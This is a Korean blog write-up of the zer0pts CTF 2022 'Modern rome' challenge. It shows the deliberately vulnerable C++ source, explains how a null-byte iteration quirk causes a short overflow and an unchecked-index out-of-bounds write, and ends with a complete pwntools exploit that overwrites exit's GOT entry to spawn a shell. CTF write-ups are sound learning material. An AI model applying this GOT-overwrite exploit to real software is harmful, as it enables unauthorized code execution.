CTF

zer0pts CTF 2022 - Modern rome

c0wb3ll ㅣ 2022. 3. 23. 16:14

Problem

#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val; 

  std::exit(0);
}

코드를 제공해주어서 편하게 분석할 수 있다.

해당 문제는 처음에 C++이어서 쫄았으나 코드 구성을 보고 buf에서 발생하는 OOB를 이용하여 exit.got를 overwrite하는 문제임은 금방 알 수 있었다.

문제를 푸는 당시에는 “IXCM”로마 숫자를 통해 buf 및 value를 입력받는 것은 알 수 있었으나, 해당 값으로는 최대 9999밖에 입력할 수 없어 그냥 포기하고 dreamhack으로 공부나 하러 튀었었다.

문제 풀이가 끝나고 writeup을 기다리고 있었으나 modern-rome 문제는 writeup을 찾을 수 없었고 디스코드방을 보다가 “IXCM\0”이라는 힌트를 보고 풀 수 있어서 writeup을 작성한다.

solve

  1. C++에 대해서는 잘 몰랐는데 iteration은 배열을 돌 때 “\x00”까지 돈다고 함 (이 부분은 아직 잘 모르겠음) 구조 상 “\x00”까지 돌게되면 99999까지 입력할 수 있음 ⇒ short overflow
  2. buf[idx]에서 idx를 검사하지 않음 ⇒ OOB
  3. exit.got overwrite

exploit code

from pwn import *

# p = process("./chall")
p = remote("pwn1.ctf.zer0pts.com", 9000)
e = ELF("./chall")

buf_addr = 0x404340
win_addr = 0x4012f6
exit_got = e.got["exit"]

print(f"buf_addr: {hex(buf_addr)}")
print(f"exit_got: {hex(exit_got)}")
print(f"win_addr: {hex(win_addr)}")

print(f"buf_addr - exit_got: {buf_addr - exit_got}")

# pause()

payload = b'\x00' * 6
payload += b'M' * 5
payload += b'C' * 1
payload += b'X' * 6
payload += b'I' * 4

p.sendlineafter(b"ind: ", payload)

payload = b'M' * 4
payload += b'C' * 8
payload += b'X' * 5
payload += b'I' * 4

p.sendlineafter(b"val: ", payload)

p.interactive()